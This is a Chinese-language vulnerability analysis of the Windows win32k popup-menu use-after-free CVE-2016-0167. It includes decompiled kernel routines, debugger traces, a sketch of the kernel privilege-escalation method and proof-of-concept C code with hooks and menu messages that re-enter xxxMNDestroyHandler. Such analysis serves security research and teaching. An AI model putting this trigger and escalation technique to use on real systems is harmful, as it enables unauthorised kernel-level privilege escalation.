这篇文章将对 Windows 释放后重用(UAF)内核漏洞 CVE-2016-0167 进行一次简单的分析并构造其利用验证代码。该漏洞在 2016 年据报道称被用于攻击支付卡等目标的数据,并和之前分析的 CVE-2016-0165 在同一个补丁程序中被微软修复。针对该漏洞的分析和测试是在 Windows 7 x86 SP1 基础环境的虚拟机中进行的。

该漏洞是弹出菜单 tagPOPUPMENU 对象的释放后重用漏洞,虽然是两年前的“老漏洞”,但由于触发条件特殊,需要同步和异步的消息请求相互配合才能最终实现满足漏洞利用条件的目标弹出菜单对象,所以当前对于学习和研究 win32k 内核漏洞利用来说,该漏洞还是有一定的研究价值。

0x0 前言

这篇文章分析了发生在窗口管理器(User)子系统的菜单管理组件中的 CVE-2016-0167 释放后重用(UAF)漏洞。在内核函数 xxxMNDestroyHandler 调用 xxxSendMessage 向目标弹出菜单对象关联的通知窗口对象发送 WM_UNINITMENUPOPUP 消息期间,执行流存在发生用户回调的可能性;在发送消息的函数调用返回后,函数 xxxMNDestroyHandler 没有重新验证目标弹出菜单对象内存的有效性而继续对其进行访问。

如果用户进程在特殊时机触发菜单取消的操作使作为利用目标的弹出菜单对象的成员标志位 fDelayedFree 被取消置位,并在特定时机调用函数销毁该弹出菜单对象关联的菜单窗口对象,执行流在内核中执行函数 xxxMNDestroyHandler 时发送 WM_UNINITMENUPOPUP 消息期间回调到用户进程中,用户进程对同一菜单窗口对象再次执行销毁操作,在内核中使执行流针对相同的目标弹出菜单对象重复进入函数 xxxMNDestroyHandler 中,并在第二次调用期间销毁目标弹出菜单对象;当执行流回到第一次调用的函数中时,目标弹出菜单对象已被销毁,但函数将在缺少必要的验证的情况下直接对目标弹出菜单对象的成员域进行访问甚至执行重复释放的操作,这将导致 UAF 漏洞的发生。

在触发销毁目标菜单窗口对象之后,用户进程中的利用代码通过巧妙的内存布局,使系统重新分配相同大小的内存区域以占用先前释放的弹出菜单对象的内存块,伪造新的弹出菜单对象并构造相关成员域。借助代码逻辑,实现对特定窗口对象的成员标志位 bServerSideWindowProc 的修改,使系统能够在内核中直接执行位于用户进程地址空间中的自定义窗口消息处理函数,得以通过内核上下文执行用户进程构造的利用代码,实现内核提权的目的。

0x1 原理

漏洞发生在内核模块 win32k.sys 的函数 xxxMNDestroyHandler 中,该函数用于在销毁指定的菜单窗口对象期间执行销毁其关联的弹出菜单 tagPOPUPMENU 对象的任务,目标弹出菜单对象的指针通过参数 popupMenu 传入。

弹出菜单 tagPOPUPMENU 结构体定义如下:

kd> dt win32k!tagPOPUPMENU
   +0x000 flags            : Int4B
   +0x004 spwndNotify      : Ptr32 tagWND
   +0x008 spwndPopupMenu   : Ptr32 tagWND
   +0x00c spwndNextPopup   : Ptr32 tagWND
   +0x010 spwndPrevPopup   : Ptr32 tagWND
   +0x014 spmenu           : Ptr32 tagMENU
   +0x018 spmenuAlternate  : Ptr32 tagMENU
   +0x01c spwndActivePopup : Ptr32 tagWND
   +0x020 ppopupmenuRoot   : Ptr32 tagPOPUPMENU
   +0x024 ppmDelayedFree   : Ptr32 tagPOPUPMENU
   +0x028 posSelectedItem  : Uint4B
   +0x02c posDropped       : Uint4B

弹出菜单 tagMENUSTATE 结构体的定义

在函数中存在向目标弹出菜单对象的成员域 spwndNotify 指向的通知窗口对象发送 WM_UNINITMENUPOPUP 消息的调用语句:

if ( *(_DWORD *)popupMenu & 0x200000 )      // fSendUninit
{
  spwndNotify = popupMenu->spwndNotify;
  if ( spwndNotify )
  {
    ptl = gptiCurrent->ptl;
    gptiCurrent->ptl = (_TL *)&ptl;
    pwndTarg = spwndNotify;
    ++spwndNotify->head.cLockObj;
    pmenu = popupMenu->spmenu;
    if ( pmenu )
      hmenu = p->head.h;
    xxxSendMessage(
      popupMenu->spwndNotify,
      0x125,                                // WM_UNINITMENUPOPUP
      (WPARAM)hmenu,
      (LPARAM)(((*(_DWORD *)popupMenu >> 2) & 1) << 13) << 16);
    ThreadUnlock1();
  }
}

函数 xxxMNDestroyHandler 存在发送消息的调用

其中,作为判断依据的成员标志位 fSendUninit 早在目标弹出菜单对象初始化期间默认被置位;而通知窗口对象成员域 spwndNotify 也会在初始化期间被赋值为作为菜单拥有者的窗口对象的地址。这将导致函数 xxxMNDestroyHandler 的执行流存在回调到用户进程上下文的可能性。

接下来函数通过对目标弹出菜单对象成员标志位 fDelayedFree 进行判断,以决定是否立即为目标弹出菜单对象调用 MNFreePopup 执行具体的释放操作。函数 MNFreePopup 调用 HMAssignmentUnlock 等函数解除 spwndPopupMenu 等各个对象成员域的赋值锁。在执行相应的预处理之后,函数调用 ExFreePoolWithTag 释放传入的弹出菜单 tagPOPUPMENU 对象缓冲区。

由于在前面函数 xxxMNDestroyHandler 发送 WM_UNINITMENUPOPUP 消息期间执行流可能回调到用户进程中,因此,攻击者可以在用户进程中触发逻辑使目标弹出菜单 tagPOPUPMENU 对象的内存被释放或重新分配,这将导致目标参数 popupMenu 指向内存区域中存在不可控的数据。如果攻击代码对在原位置重新分配的内存块中的数据进行刻意构造,那么在对某个保存特殊对象地址的对象成员域进行解锁时,将使内核上下文的执行流可能直接进入位于用户进程地址空间的利用代码函数中。

0x2 追踪

函数 xxxMNDestroyHandler 是用于在销毁指定的菜单窗口对象期间执行销毁其关联的弹出菜单 tagPOPUPMENU 对象任务的函数,仅在菜单窗口对象指定的消息处理函数 xxxMenuWindowProc 处理 WM_FINALDESTROY 消息时调用。


函数 xxxMNDestroyHandler 的调用引用列表


xxxMNDestroyHandler

该函数接收通过参数 tagPOPUPMENU *popupMenu 传入的弹出菜单对象作为目标对象。在函数开始位置,判断目标弹出菜单成员域 spwndNextPopup 是否指向真实的子菜单窗口对象,如是则表明当前菜单存在已弹出的子菜单。因此函数向成员域 spwndPopupMenu 指向的当前菜单窗口对象(如果为空则向子菜单窗口对象)发送 MN_CLOSEHIERARCHY 以关闭当前菜单的子菜单。该消息最终在 xxxMenuWindowProc 函数中接收并对目标窗口对象关联的弹出菜单对象调用 xxxMNCloseHierarchy 以处理关闭子菜单的任务。

if ( popupMenu->spwndNextPopup )
{
  pwnd = popupMenu->spwndPopupMenu;
  if ( !pwnd )
    pwnd = popupMenu->spwndNextPopup;
  ptl = gptiCurrent->ptl;
  gptiCurrent->ptl = (_TL *)&ptl;
  ++pwnd->head.cLockObj;
  xxxSendMessage(pwnd, 0x1E4, 0, 0); // xxxMNCloseHierarchy
  ThreadUnlock1();
}

函数 xxxMNDestroyHandler 的代码片段

接着函数判断目标弹出菜单对象的成员标志位 fSendUninit 是否处于置位状态。该标志位决定在弹出菜单对象销毁之后系统是否应向接收通知的窗口对象发送 WM_UNINITMENUPOPUP 消息。在根弹出菜单对象或子弹出菜单对象初始化期间,系统通常在函数 xxxTrackPopupMenuExxxxMNOpenHierarchy 中置位该标志位。

如果成员标志位 fSendUninit 处于置位状态,那么函数向成员域 spwndNotify 指向的用于接收通知的窗口对象发送 WM_UNINITMENUPOPUP(0x125) 消息,以使拥有者窗口能在第一时间清理与将被销毁的弹出菜单相关的数据。

if ( *(_DWORD *)popupMenu & 0x200000 )      // fSendUninit
{
  spwndNotify = popupMenu->spwndNotify;
  if ( spwndNotify )
  {
    ptl = gptiCurrent->ptl;
    gptiCurrent->ptl = (_TL *)&ptl;
    pwndTarg = spwndNotify;
    ++spwndNotify->head.cLockObj;
    pmenu = popupMenu->spmenu;
    if ( pmenu )
      hmenu = (tagMENU *)p->head.h;
    xxxSendMessage(
      popupMenu->spwndNotify,
      0x125,                                // WM_UNINITMENUPOPUP
      (WPARAM)hmenu,
      (LPARAM)(((*(_DWORD *)popupMenu >> 2) & 1) << 13) << 16);
    ThreadUnlock1();
  }
}

函数 xxxMNDestroyHandler 的代码片段

调用 xxxSendMessage 发送 WM_UNINITMENUPOPUP 消息时,函数还将与目标弹出菜单对象关联的菜单实体 tagMENU 对象的句柄作为 wParam 参数传入函数调用。

在函数 xxxMNDestroyHandler 的末尾,函数将位于目标菜单窗口 tagWND 对象末尾扩展区域中指向关联的弹出菜单对象的指针置空;然后判断目标弹出菜单对象的成员标志位 fDelayedFree 是否处于置位状态,并据此决定是在完整菜单终止时再进行对目标弹出菜单对象的延时释放,还是在当前时刻立即释放目标弹出菜单对象。

pwnd = popupMenu->spwndPopupMenu;
*(_DWORD *)popupMenu |= 0x8000u;          // fDestroyed
if ( pwnd )
  *(_DWORD *)(pwnd + 0xB0) = 0;           // Pointer to popupMenu
if ( *((_BYTE *)popupMenu + 2) & 1 )      // fDelayedFree
{
  popupmenuRoot = popupMenu->ppopupmenuRoot;
  if ( popupmenuRoot )
    *(_DWORD *)popupmenuRoot |= 0x20000u; // ppopupmenuRoot->fFlushDelayedFree
}
else
{
  MNFreePopup(popupMenu);
}

函数 xxxMNDestroyHandler 的代码片段

在内核中通过正规途径创建上下文弹出菜单对象时,根弹出菜单对象或子弹出菜单对象的成员标志位 fDelayedFree 默认情况下都会在函数 xxxTrackPopupMenuExxxxMNOpenHierarchy 中被置位。


MNFreePopup

函数 MNFreePopup 在一开始判断通过参数传入的目标弹出菜单对象是否为当前的根弹出菜单对象,如果是则调用函数 MNFlushDestroyedPopups 以遍历并释放其成员域 ppmDelayedFree 指向的弹出菜单对象延迟释放链表中的各个弹出菜单对象。

接着函数调用 HMAssignmentUnlockUnlockPopupMenu 函数(内部还是函数 HMAssignmentUnlock 的调用)以解除目标弹出菜单对象的 spwndPopupMenu 等各个窗口对象和菜单对象指针成员域的赋值锁。

if ( popupMenu == popupMenu->ppopupmenuRoot )
  MNFlushDestroyedPopups(popupMenu, 1);
pwnd = popupMenu->spwndPopupMenu;
if ( pwnd && (pwnd->fnid & 0x3FFF) == 0x29C && popupMenu != &gpopupMenu )
  *((_DWORD *)pwnd + 0x2C) = 0;
HMAssignmentUnlock(&popupMenu->spwndPopupMenu);
HMAssignmentUnlock(&popupMenu->spwndNextPopup);
HMAssignmentUnlock(&popupMenu->spwndPrevPopup);
UnlockPopupMenu(popupMenu, &popupMenu->spmenu);
UnlockPopupMenu(popupMenu, &popupMenu->spmenuAlternate);
HMAssignmentUnlock(&popupMenu->spwndNotify);
HMAssignmentUnlock(&popupMenu->spwndActivePopup);
if ( popupMenu == &gpopupMenu )
  gdwPUDFlags &= 0xFF7FFFFF;
else
  ExFreePoolWithTag(popupMenu, 0);

函数 MNFreePopup 的代码片段

函数 HMAssignmentUnlock 被用来解除先前针对指定对象的实施的带赋值锁的引用,并减小目标对象的锁计数。当目标对象的锁计数减小到 0 时,系统将调用函数 HMUnlockObjectInternal 销毁该对象。

函数 HMUnlockObjectInternal 通过目标对象的句柄在全局共享信息结构体 gSharedInfo 对象的成员域 aheList 指向的会话句柄表中找到该对象的句柄表项,然后通过在句柄表项中存储的句柄类型在函数 HMDestroyUnlockedObject 中调用索引在全局句柄类型信息数组 gahti 中的对象销毁函数。如果当前被销毁的目标对象类型是窗口对象,这将调用到内核函数 xxxDestroyWindow 中。

在函数 MNFreePopup 的末尾,由于已完成对各个成员域的解锁和释放,系统调用函数 ExFreePoolWithTag 释放目标弹出菜单 tagPOPUPMENU 对象。


MNFlushDestroyedPopups

函数 MNFlushDestroyedPopups 遍历链表中的每个弹出菜单对象,并为每个标记了标志位 fDestroyed 的对象调用 MNFreePopup 函数。标志位 fDestroyed 当初在调用函数 xxxMNDestroyHandler 时被置位。

for ( i = &popupMenu->ppmDelayedFree; *i; i = &ppmDestroyed->ppmDelayedFree )
{
  ppmFree = *i;
  if ( *(_DWORD *)*i & 0x8000 )
  {
    ppmFree = *i;
    *i = ppmFree->ppmDelayedFree;
    MNFreePopup(ppmFree);
  }
  else if ( fUnlock )
  {
    *(_DWORD *)ppmFree &= 0xFFFEFFFF;
    *i = (*i)->ppmDelayedFree;
  }
  else
  {
    ppmDestroyed = *i;
  }
}

函数 MNFlushDestroyedPopups 的代码片段

而如果链中存在未置位标志位 fDestroyed 的弹出菜单对象,函数则根据参数 fUnlock 传入的值决定将目标弹出菜单对象的 fDelayedFree 标志位置零,并跳过该节点继续遍历链表。

在函数 MNFreePopup 中调用 MNFlushDestroyedPopups 时,数值 1 作为参数 fUnlock 被传入函数调用,这决定在延迟释放链表中未置位标志位 fDestroyed 的弹出菜单对象标志位 fDelayedFree 将被置零。


函数 xxxMNDestroyHandler 执行期间的简要执行流如图所示:


函数 xxxMNDestroyHandler 的简要执行流


MN_CANCELMENUS

当向目标菜单窗口对象发送 MN_CANCELMENUS 消息时,系统最终在菜单窗口对象指定的消息处理函数 xxxMenuWindowProc 中调用 xxxMNCancel 函数来处理取消菜单的消息请求。

case 0x1E6u:
  xxxMNCancel(menuState, wParam, lprc, 0);
  return 0;

函数 xxxMenuWindowProc 处理 MN_CANCELMENUS 消息

函数 xxxMNCancel 只能以根菜单窗口对象作为目标进行调用。在函数开始位置,菜单状态结构体的成员标志位 fInsideMenuLoopfButtonDown 被置零,而根弹出菜单对象的成员标志位 fDestroyed 会被置位。

mov     edi, [ebp+pMenuState]
mov     esi, [edi]
mov     eax, [esi]
and     dword ptr [edi+4], 0FFFFFFF3h
or      dword ptr [esi], 8000h

函数 xxxMNCancel 设置和置零相关标志位

接着函数调用 xxxMNCloseHierarchy 函数来关闭当前菜单对象的菜单层叠状态,并调用函数 xxxMNSelectItem 取消选择菜单项。

xxxMNCloseHierarchy(popupMenu, pMenuState);
xxxMNSelectItem(popupMenu, pMenuState, 0xFFFFFFFF);

函数 xxxMNCancel 的代码片段

当执行流返回到函数 xxxMNCancel 中时,系统根据当前弹出菜单对象的成员标志位 fIsTrackPopup 选择调用 xxxDestroyWindow 以尝试销毁当前的菜单窗口对象。该成员标志位只在最开始通过函数 xxxTrackPopupMenuEx 创建根菜单窗口对象时对关联的弹出菜单对象置位。

if ( fTrackFlagsSet ) // popupMenu->fIsTrackPopup
{
  if ( !(*((_DWORD *)pMenuState + 1) & 0x100)
    && gpqForeground
    && *((_DWORD *)gpqForeground + 9)
    && gpqForeground == gptiCurrent->pq )
  {
    xxxWindowEvent(0x80000005, *((_DWORD *)gpqForeground + 9), 0, 1, 0x21);
  }
  xxxWindowEvent(7u, popupMenu->spwndPopupMenu, 0xFFFFFFFC, 0, 0);
  xxxDestroyWindow(popupMenu->spwndPopupMenu);
}

函数 xxxMNCancel 触发销毁根菜单窗口对象的任务

对菜单窗口对象调用 xxxDestroyWindow 函数期间,最终在处理 WM_FINALDESTROY 消息时,函数 xxxMenuWindowProc 调用 xxxMNDestroyHandler 函数处理弹出对象菜单销毁的任务。

0x3 验证

接下来编写验证代码以重现释放后重用(UAF)漏洞。先说一下验证代码的思路:


#1 使执行流重新进入漏洞所在函数

触发该漏洞的直接步骤,是在 WM_UNINITMENUPOPUP 消息发送期间设法使执行流针对相同的目标弹出菜单对象重复调用 xxxMNDestroyHandler 函数。这样一来,目标弹出菜单对象将在第二次调用 xxxMNDestroyHandler 函数时被释放;当执行流返回到函数 xxxMNDestroyHandler 的第一次调用上下文时,目标弹出菜单对象已被释放,而函数在没有重新验证弹出菜单对象内存有效性的情况下继续对其成员域进行访问,这将导致 UAF 的触发。

要使执行流重新进入函数 xxxMNDestroyHandler 可通过在验证代码自定义的挂钩处理程序对 WM_UNINITMENUPOPUP 消息的处理逻辑中对目标菜单窗口对象调用 DestroyWindow 函数来实现。


#2 满足触发条件的弹出菜单对象

根据前面的分析可知,触发漏洞需要在函数 xxxMNDestroyHandler 向目标弹出菜单对象关联的通知窗口对象发送 WM_UNINITMENUPOPUP 消息期间使执行流针对相同弹出菜单对象再次调用函数 xxxMNDestroyHandler 并在第二次执行函数期间释放目标弹出菜单对象。

这对目标弹出菜单对象提出要求:

一是函数 xxxMNDestroyHandler 在发送 WM_UNINITMENUPOPUP 消息之前存在条件判断,目标弹出菜单对象必须置位成员标志位 fSendUninit 并且必须存在关联的通知窗口对象。这要求目标弹出菜单对象所关联的菜单窗口对象必须是通过正规菜单弹出的通道所创建的,而不能是验证代码调用 CreateWindowEx 等函数手动创建的 MENUCLASS 类型的窗口对象。

二是目标弹出菜单对象的成员标志位 fDelayedFree 必须未被置位,否则目标弹出菜单对象将不会在函数 xxxMNDestroyHandler 第二次调用期间被立即释放。


#3 成员标志位 fDelayedFree 取消置位

根据内核模块代码逻辑,通过正规菜单弹出的通道所创建的上下文菜单的弹出菜单对象在初始化期间必然会置位 fDelayedFree 成员标志位,置位该标志位是在函数 xxxTrackPopupMenuExxxxMNOpenHierarchy 中无条件执行的语句。

通过对 win32k 模块进行分析,可发现至少存在两处将某个弹出菜单对象的成员标志位 fDelayedFree 置零的语句:一处是在函数 xxxMNEndMenuState 中根据参数 fFreePopup 条件为 FALSE 的情况将根弹出菜单对象的标志位 fDelayedFree 置零;另一处是在函数 MNFlushDestroyedPopups 中根据参数 fUnlock 条件为 TRUE 的情况将延迟释放链表中未置位成员标志位 fDestroyed 的弹出菜单对象的标志位 fDelayedFree 置零。

对于第一种情况,纵观全局发现对函数 xxxMNEndMenuState 的调用仅在 xxxDestroyThreadInfo 函数中存在传入参数 fFreePopup 值不为 FALSE 的可能性,操作起来存在难度,因此不做考虑。

对于第二种情况,存在于函数 MNFreePopup 中的对函数 MNFlushDestroyedPopups 的调用将参数 fUnlock 传值为 TRUE。因此可以尝试利用这种情况,在调用之前使用来利用的目标弹出菜单对象的成员标志位 fDestroyed 保持未置位的状态,并且未置位 fDestroyed 标志位的目标弹出菜单对象仍需存在于通过 ppmDelayedFree 索引的延迟释放链表中。


#4 成员标志位 fDestroyed 取消置位

那么需要在适当时机当函数 MNFreePopup 调用 MNFlushDestroyedPopups 时使延迟释放链表中存在未置位成员标志位 fDestroyed 的弹出菜单对象。

实现思路是:在某个子菜单通过调用函数 xxxMNOpenHierarchy 实现弹出期间,其自身相关对象还未与父级菜单相互关联时,用户进程发起菜单终止或取消的操作,使菜单进入预终止状态,并使当前已存在于延迟释放链表中的所有弹出菜单对象的成员标志位 fDestroyed 在弹出菜单销毁处理过程中被置位,而尚未完成初始化的子弹出菜单由于还未完成与父级菜单的关联,因此其弹出菜单对象的成员标志位 fDestroyed 并不会被置位。

当新弹出的子菜单完成初始化时,菜单整体继而进入函数 xxxMNEndMenuState 中的菜单终止处理过程。在该函数执行期间,作为利用目标的子弹出菜单对象由于其成员标志位 fDestroyed 未被置位,因此并不会被销毁,并且成员标志位 fDelayedFree 还会被置零,使其各个成员域状态满足漏洞触发条件。

这需要通过模态上下文菜单的弹出终止与同步异步消息请求的相互配合来具体实现。


验证代码的实现

接下来根据思路实现具体的验证代码,用户进程中验证代码的大部分代码逻辑都在新创建的单独线程中执行。

在验证代码的主函数中通过 CreateMenu 等函数创建两个弹出式的菜单对象,并在添加菜单项时将两个菜单对象相互关联,使第二个成为第一个的子菜单。当不通过函数 SetMenuInfo 改变菜单对象的属性时,菜单对象默认为模态类型。

hMenuList[0] = CreateMenu();
hMenuList[1] = CreateMenu();
AppendMenuA(hMenuList[0], MF_MOUSESELECT | MF_POPUP, (UINT_PTR)hMenuList[1], "item");
AppendMenuA(hMenuList[1], MF_MOUSESELECT | MF_POPUP, (UINT_PTR)0, "item");

创建并关联根菜单和子菜单对象的验证代码

菜单的显示需要有用于承载的窗口作为菜单的拥有者窗口对象。注册并创建普通窗口类和窗口对象并将句柄存储在 hWindowMain 全局变量中:

WNDCLASSEXW wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc    = xxMainWindowProc; // custom message procedure
wndClass.cbWndExtra     = 0;
wndClass.hInstance      = GetModuleHandleA(NULL);
wndClass.lpszMenuName   = NULL;
wndClass.lpszClassName  = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
    L"WNDCLASSMAIN",
    NULL,
    WS_VISIBLE,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);

创建拥有者窗口对象的验证代码

将验证代码自定义的消息处理函数 xxMainWindowProc 的地址赋值给创建的拥有者窗口对象的消息处理函数成员域。该拥有者窗口对象同时将作为与弹出菜单关联的通知窗口对象。

设置类型为 WH_CALLWNDPROC 的自定义挂钩处理程序,并设置范围包括 EVENT_SYSTEM_MENUPOPUPSTART 的自定义事件通知处理程序。

SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
    GetModuleHandleA(NULL),
    GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
    GetModuleHandleA(NULL),
    xxWindowEventProc,
    GetCurrentProcessId(),
    GetCurrentThreadId(),
    0);

设置自定义挂钩处理程序和事件通知处理程序的验证代码

接下来通过调用 TrackPopupMenuEx 函数触发作为根菜单的第一个菜单对象在屏幕中的显示;然后使用 GetMessage 使当前线程进入消息循环状态。

TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);

MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessageW(&msg);
}

触发第根菜单对象在屏幕中显示的验证代码

当用户进程调用函数 TrackPopupMenuEx 时,系统在内核中最终调用到 xxxTrackPopupMenuEx 函数处理弹出菜单操作。在显示任务执行完成时,函数调用 xxxWindowEvent 以分发 EVENT_SYSTEM_MENUPOPUPSTART 类型的事件通知,这表示目标菜单对象已显示在屏幕中。


分发 EVENT_SYSTEM_MENUPOPUPSTART 事件的执行流追踪

在该事件通知分发后,执行流会进入验证代码自定义的事件通知处理程序 xxWindowEventProc 中。在处理程序中进行计数,并存储每次进入时的窗口句柄 hwnd 参数。接着通过调用函数 SendMessagePostMessage 向句柄参数 hwnd 指向的菜单窗口对象发送消息来模拟通过键鼠选择菜单项的操作。

VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    static UINT iCount = 0;
    if (iCount < ARRAYSIZE(hwndMenuList))
    {
        hwndMenuList[iCount] = hwnd;
        iCount++;
    }
    SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
    SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
    PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}

验证代码自定义的事件通知处理程序函数

向模态菜单窗口对象异步地发送 MN_OPENHIERARCHY 将使消息被插入线程的消息队列中,并在函数 xxTrackPopupMenuEx 稍后调用的函数 xxxMNLoop 消息循环中处理打开菜单的消息请求。

 # ChildEBP RetAddr
00 99723a78 947dee9d win32k!xxxMNOpenHierarchy
01 99723ac4 9474ae67 win32k!xxxMenuWindowProc+0xb1f
02 99723af4 947d8c36 win32k!xxxDispatchMessage+0x1f7
03 99723b38 947df8f1 win32k!xxxMNLoop+0x2dd
04 99723ba0 947df9dc win32k!xxxTrackPopupMenuEx+0x5cd
05 99723c14 83e591ea win32k!NtUserTrackPopupMenuEx+0xc3

函数 xxxMNLoop 处理打开菜单的消息请求


处理 MN_OPENHIERARCHY 消息的执行流追踪

当在内核中处理 MN_OPENHIERARCHY 消息时,系统根据子菜单对象创建新的菜单窗口对象。在此期间,系统将向新创建的子菜单窗口对象发送 WM_NCCREATE 等消息。在发送这些消息时,执行流会进入由用户进程中的验证代码自定义的挂钩处理程序 xxWindowHookProc 中。


发送 WM_NCCREATE 消息的执行流追踪

在自定义挂钩处理程序 xxWindowHookProc 函数中,参数 lParam 指向 tagCWPSTRUCT 类型的对象。根据内核函数代码逻辑,对于每个菜单窗口对象而言,处理 WM_NCCREATE 的挂钩处理函数往往比处理 EVENT_SYSTEM_MENUPOPUPSTART 的事件通知处理函数更先调用。验证代码判断 tagCWPSTRUCT 对象的成员域 message 的值,当 message 值为 WM_NCCREATE 枚举值、并且到目前为止前面的事件通知处理程序只记录了根菜单窗口对象的句柄而尚未记录子菜单窗口对象句柄时,这表示当前处理消息的目标窗口对象正是新创建的子菜单窗口对象。此时记录该窗口句柄,并通过调用 SendMessage 函数向根菜单窗口对象发送 MN_CANCELMENUS 取消菜单的消息。在函数 SendMessage 返回后,挂钩处理函数再调用 PostMessage 向拥有者窗口对象 hWindowMain 发送自定义的 WM_EX_TRIGGER 触发消息。

LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    static BOOL bEnterUninit = FALSE;
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    if (cwp->message == WM_UNINITMENUPOPUP &&
        bEnterUninit == FALSE &&
        hMenuList[1] == (HMENU)cwp->wParam)
    {
        bEnterUninit = TRUE;
        DestroyWindow(hwndMenuDest);
    }
    else if (cwp->message == WM_NCCREATE &&
        hwndMenuDest == NULL &&
        hwndMenuList[0] && !hwndMenuList[1])
    {
        hwndMenuDest = cwp->hwnd;
        SendMessageW(hwndMenuList[0], MN_CANCELMENUS, 0, 0);
        PostMessageW(hWindowMain, WM_EX_TRIGGER, 0, 1);
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

验证代码自定义的挂钩处理程序函数

同时,挂钩处理函数还处理 message 值为 WM_UNINITMENUPOPUP 并且参数 wParam 值为子菜单实体 tagMENU 对象句柄值的情况。当命中条件时,表示当前在内核中执行流正在函数 xxxMNDestroyHandler 中针对子菜单向通知窗口对象发送 WM_UNINITMENUPOPUP 消息期间。毫无疑问地,验证代码在此时调用 DestroyWindow 函数销毁前面记录了句柄的窗口对象。

当调用函数 SendMessage 同步地向根菜单窗口对象发送 MN_CANCELMENUS 消息时,系统最终在内核模式消息处理函数 xxxMenuWindowProc 中调用 xxxMNCancel 函数来处理取消菜单的消息请求。在该函数执行期间根弹出菜单对象的成员标志位 fDestroyed 会被置位。

 # ChildEBP RetAddr
00 94d83b00 94a5ef10 win32k!xxxMNCancel
01 94d83b54 949d94f3 win32k!xxxMenuWindowProc+0xb92
02 94d83b94 94999709 win32k!xxxSendMessageTimeout+0x1ac
03 94d83bbc 949a6330 win32k!xxxWrapSendMessage+0x1c
04 94d83bd8 949db4cd win32k!NtUserfnNCDESTROY+0x27
05 94d83c10 83e521ea win32k!NtUserMessageCall+0xc9
06 94d83c10 76f270b4 nt!KiFastCallEntry+0x12a
07 3473fc8c 762b4f51 ntdll!KiFastSystemCallRet
08 3473fc90 762b0940 USER32!NtUserMessageCall+0xc
09 3473fccc 762b5582 USER32!SendMessageWorker+0x546
0a 3473fcec 0027c43a USER32!SendMessageW+0x7c
0b 3473fd54 762a7a1a TempDemo!xxWindowHookProc+0x19a
0c 3473fd70 762a4999 USER32!DispatchHookW+0x33
0d 3473fda4 762ae98a USER32!fnHkINLPCWPSTRUCTW+0x52
0e 3473fdd4 76f26fee USER32!__fnINLPCREATESTRUCT+0x8b
0f 3473fe48 762d483e ntdll!KiUserCallbackDispatcher+0x2e
10 3473fe4c 0027c0fe USER32!NtUserTrackPopupMenuEx+0xc
11 3473fed4 76d13c45 TempDemo!xxTrackExploitEx+0x14e

发送 MN_CANCELMENUS 消息最终调用 xxxMNCancel 函数

由于在验证代码中调用发送 MN_CANCELMENUS 消息的 SendMessageW 函数时,在内核中执行流正处于针对子菜单窗口对象 WM_NCCREATE 消息的处理分发挂钩处理程序期间,分发调用发生在 WM_NCCREATE 消息处理之前,因此子菜单窗口对象所关联的弹出菜单 tagPOPUPMENU 对象尚未被创建,并且此时新创建的子菜单窗口对象尚未被关联到根菜单的弹出菜单对象中,也就是说根弹出菜单对象的成员域 spwndNextPopup 并未存储子菜单窗口对象的地址。因此在函数 xxxMNCancel 接下来的执行逻辑调用函数 xxxMNCloseHierarchy 时,并不会有任何与子菜单相关的对象被销毁,子弹出菜单对象的成员标志位 fDestroyed 也因此不会被置位。


发送 MN_CANCELMENUS 消息的执行流追踪

在执行期间,函数 xxxMNCancel 将调用 xxxDestroyWindow 来尝试销毁根菜单窗口对象,并最终在函数 xxxMenuWindowProc 中调用 xxxMNDestroyHandler 函数处理弹出菜单对象销毁的任务。由于根弹出菜单对象的成员标志位 fDelayedFree 早以被置位,因此函数并不会立即调用 MNFreePopup 函数来释放目标弹出菜单对象,而是留给后续的 xxxMNEndMenuState 函数调用来执行。

当发送 MN_CANCELMENUS 消息的 SendMessage 函数调用返回时,自定义的挂钩处理函数调用 PostMessage 向拥有者窗口对象发送自定义的 WM_EX_TRIGGER 触发消息。异步发送的消息并不会立即执行对消息请求的处理,而是在窗口对象关联线程的消息循环中执行。

接下来在内核中当执行流从创建子菜单窗口对象的函数 xxxCreateWIndowEx 返回到 xxxMNOpenHierarchy 函数中时,函数将照常执行子菜单和根菜单相关对象的关联操作。待执行完成函数返回时,执行流将回到消息循环函数 xxxMNLoop 中。函数将判断根弹出菜单对象的成员标志位 fDestroyed 是否已被置位。如果已置位,则跳出消息循环状态,并在调用 xxxEndMenuLoop 等终止循环的函数之后向上级调用者函数 xxxTrackPopupMenuEx 返回。

函数 xxxTrackPopupMenuEx 将立即调用 xxxMNEndMenuState 来执行菜单状态终止的任务。在该函数执行期间,函数 MNFreePopup 将调用 MNFlushDestroyedPopups 函数来释放延迟释放链表中的每个弹出菜单对象,而成员标志位 fDestroyed 未置位的对象例外。由于在函数 xxxMNCancel 执行菜单取消的任务期间,子菜单相关对象尚未和根菜单完成关联,因此其弹出菜单对象成员标志位 fDestroyed 并未被置位。这将导致在此时子菜单相关的任何对象将不会被释放,并且其弹出菜单对象的成员标志位 fDelayedFree 将被函数 MNFlushDestroyedPopups 置零,这是非常关键的一步。


处理延迟释放链表的执行流追踪

